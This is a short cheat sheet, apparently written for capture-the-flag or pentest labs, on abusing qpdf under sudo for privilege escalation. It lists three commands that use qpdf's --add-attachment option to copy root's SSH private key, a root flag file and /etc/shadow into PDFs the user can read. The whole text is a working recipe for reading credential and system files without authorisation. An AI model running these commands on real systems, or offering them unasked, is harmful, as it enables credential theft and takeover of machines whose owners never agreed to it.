Qpdf privilege escalation

Sudo

Usage:

1) Get root ssh private key

sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty ./id_rsa 

2) Get root flag

sudo /usr/bin/qpdf --qdf --add-attachment /root/flag.txt -- --empty ./flag.txt 

3) Get shadow file

sudo /usr/bin/qpdf --qdf --add-attachment /etc/shadow -- --empty ./shadow